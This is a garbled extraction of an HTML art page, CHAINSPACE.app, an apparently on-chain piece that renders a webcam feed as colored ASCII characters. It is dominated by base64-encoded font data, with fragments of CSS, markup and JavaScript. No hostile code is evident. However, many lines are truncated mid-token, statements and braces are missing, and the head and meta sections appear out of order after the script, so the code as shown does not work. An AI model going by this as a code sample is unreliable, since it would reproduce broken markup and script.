UQ2Fzic44NPjlbhFwKfNQpbA9S2n5HubAL2VwHCBpkWRMlxWPKC91hbzemWbAZQMuzJvX+GKIJOStroEa4OD+gZMc3V5eo1dk8xjZGA/zzc3FAGL53g/ceQUYKQB7pJqYSpRBQuxdewQE4sHeD9ePNlwfXiw9e6H/YiEVuheXYiYVj4yhkM6LyQN/9qHsy8Sp6DG8nAV8yYOp8E7uxROtAFTsoKkcGV5VZWdJpWqJo19Q+zUXaaIGU54K+LkaUWEV4o2zH+nGQfAJC0WdZk7QLPwY9sSF8TuEOEIyV7JuEtuLfggdaOgwSxaXcBlGvWW8unq1958uyTSLgdHl0BXJxLth6nkMuWbjEol7yet8fyV5chXpRF+pfhS6f1k9To+SYifXJcXj0Hb///5VAOOnwOAiDbP1TWh/Ghj3nQw8aciIPSmZWmPmcHaKC+aqhlfbpseR0scNYTu/8kqwG/TfDjllDFGm40ykc3Ktp054uJWR1SdWwQyUwyjZOcfz0YGKtiEj3MrM
q6Vm2UKqKYrmtR8zrkLACNmLuTSuBlVNf6qq7oXaVUykjh8qBcVxxSXpDpYRIXb+DI55xfnOeppEkFF4QU8xOWlELJhxHpAjuF5HH8ji0jYXT+GiM47Qbs2OPHUruRYNmOs21E5tGVzWPd6Xmx6k7gVvitke0XAJCCEHv6BnczWj9LqWNjOzBpX61QXu+3zPkeabuXXTi5vL1CkgSz3L1ASxuzWT7qNrP/HX8u5lDfv842+tlW4NqMVNq9/JX40K7hFJD0zzoH2iGDJRPzmqXj88DmaCPdjMnBJ2yDbrrwXnmCcLMZJEi8y4lkQqZe6CQUYH+0Gg+/Oa0HKPXyLB5exi+PMqDge88moevzuHxxk0jZG7ycqwCUg7X26XGz5B/3h9CP9e9GpQfpP4f9ZTAH3/989+XrJyajrmVtQ0cPmNRYY4FtrCNHRxDQkaNgiUaPEciU6g2tjQ6g2nHYttzuDy+QCgSOzg6SZylLq4yucJNqXL38PTy9vH1858ToM7m8oViqVyM
p1uqNZqvd6fb6g+FoPJnO5ovlar3BhDIu5FZ5fhBG2lgXJ2lG7n6nkbpevmPR/gUth2M4cZyuxjNq4wWJx5mukY6jbpxvv3TP0LsuuQvtya0KHvvlUMAPEd1QytsD07TNb2poSsz1r4rTOEu1sUjLqEKPPTt06NypNxDlGZcEM0Hyd+mY5j9Ly7+ZDx3G2TDQrkOnLn1161Ebp6mI+4bm7ASI9AkZQItWNbGodl3qLis+hDR20EwgmFpz1TSbqWjxuMHECNqUmwMmK5xAq7EC2mUczzPhhFspTFin8z/W3zGT8eI1yMd1WunQv5e9x123IAyahxOHLnAYELthn/SmYMpidAR9z7VYNpwnFjI5NJWy1XCDIZIWxVHdHDgmxyNDkyYrKjYXlcuMus2AwGMW9ovhVwZHs70lAAA=) format('woff');
  font-weight: normal;
  font-style: normal;
    text-align: center;
    overflow: hidden;
    background: #eaeaea;
    align-items: center;
    justify-content: center;
  body.mobile #text-video {
    font-family: 'Noto Mathcastles Remix', monospace;
    pointer-events: none;
    justify-content: center;
    align-items: center;
    transform: scaleX(-1);
    -webkit-transform: scaleXM
    background: #323232;
    font-size: 13px;
    justify-content: center;
    transform: scaleX(-1);
    -webkit-transform: scaleX(-1);
    cursor: pointer;
    justify-content: center;
    pointer-events: none;
    background: #fff;
    border: 1px solid #111;
    padding: 3px 10px;
    font-family: monospace;
    cursor: pointer;
    outline: inherit;
    border-radius: 3px;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    font-family: monospace;
    text-align: center;
    margin-top: 20px;
    margin-bottom: 4px;
    background: #222;
    border-radius: 20px;
    box-shadow: 0 0 16px 0 rgba(0, 0, 0, 0.5);
    margin-bottom: 0;
    font-size: 13px;
  <div id="wrapper">
      <video id="video">Portal is closed.</video>
      <canvas id="canvas-video"></canvas>
    <div id="frame">
      <div id="text-video"></div>
      <div id="header">
 You are the art in Chainspace.app
    <button id="stop">Wave</button>
    function run() {
      function isMobM
        return (typeof window.orientation !== "undefined") || (navigator.userAgent.indexOf('IEMobile') !== -1);
      const video = document.getElementById('video')
      video.setAttribute('autoplay', '');
      video.setAttribute('muted', '');
      video.setAttribute('playsinline', '')
      const textVideo = document.getElementById('text-video')
      const canvas = document.getElementById('canvas-video')
      const ctx = canvas.getContext('2d', { willReadFrequently: true });
      let cyclerEnabled = false;
      let cycler = 0;
      let isMobile = isMobileDevice();
      const chars = [..."
      const colors = ["#323232", "#ffadde", "#7ffcc4", "#7ffcc4", "#7ffcc4", "#7ffcc4", "#7ffcc4", "#ffadde", "#ffe481", "#323232", ];
      let running = true;
      function setCanvasSize() {
        w = Math.min(window.innerWidth, 450);
        h = Math.min(window.innerHeight, isMobileDevice() ? 600 : 450M
        height = Math.floor(h / 10);
        width = Math.floor(w / 6.9);
      let resizeTimeout;
      window.onresize = function () {
        clearTimeout(resizeTimeout);
        resizeTimeout = setTimeout(setCanvasSize, 100);
      const init = () => {
        setCanvasSize();
        document.body.classList.add(isMobile ? 'mobile' : null)
        navigator.mediaDevices.getUserMedia({ video: true, audio: false })
          .then(function (stream) {
            video.srcObject = stream;
          video.play();
          .catch(function (err) {
            running = false;
      const render = (ctx) => {
        if (width && height) {
          canvas.width = width;
          canvas.height = height;
          ctx.drawImage(video, 0, 0, width, height);
      const getPixelsGreyScale = (ctx) => {
        const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
        const data = imageData.data;
s = new Array(height).fill(0).map(() => []);
        for (let i = 0, c = 0; i < data.length; i += 4) {
          const avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
          let curr = res[row]
          curr.push(avg)
          if (c < width) {
          if (c === width) {
            row += 1
        if (isMobile) {
          return res.map(row => row.slice(row.length / 4, row.length - row.length / 4));
      const getCharByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (chars.length));
        return chars[val % chars.length];
      const getColorByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (colors.length));
        return colors[val % colors.length];
      const renderText = (node, textDarkScale) => {
        let gap = isMobileDevice() ? 15 : 10;
        const gridElem = document.createElement('div');
        gridElem.classNameM
        gridElem.style.gridTemplateColumns = `repeat(${textDarkScale[0].length}, ${gap}px)`;
        gridElem.style.gridTemplateRows = `repeat(${textDarkScale.length}, ${gap}px)`;
        for (let i = 0; i < textDarkScale.length; i++) {
          for (let k = 0; k < textDarkScale[i].length; k++) {
            const textElem = document.createElement('p');
            textElem.style.color = getColorByScale(textDarkScale[i][k]);
            textElem.innerHTML = getCharByScale(textDarkScale[i][k]);
    gridElem.appendChild(textElem);
        node.textContent = "";
        node.appendChild(gridElem);
      const frame = () => requestAnimationFrame(() => {
        const chars = getPixelsGreyScale(ctx)
        renderText(textVideo, chars)
        if (running) {
        if (cyclerEnabled) {
      document.getElementById('stop').addEventListener('click', (e) => {
       running = !running
        if (running) {
      document.getElementById('text-video').onclick = () => {
        cyclerEnabled = !cyclerEnabled;
    window.addEventListener('DOMContentLoaded', () => {
text/html;charset=utf-8
a hyperportal inscribed on-chain
enter at your own risk
Conjured by el_ranye x @timshelxyz
  * Mathcastles Studios (0x113d & xaltgeist)
  * Aleksandr Kubarskii
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>CHAINSPACE.app</title>
  font-family: 'Noto Mathcastles Remix';
  src: url(data:application/font-woff2;charset=utf-8;base64,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
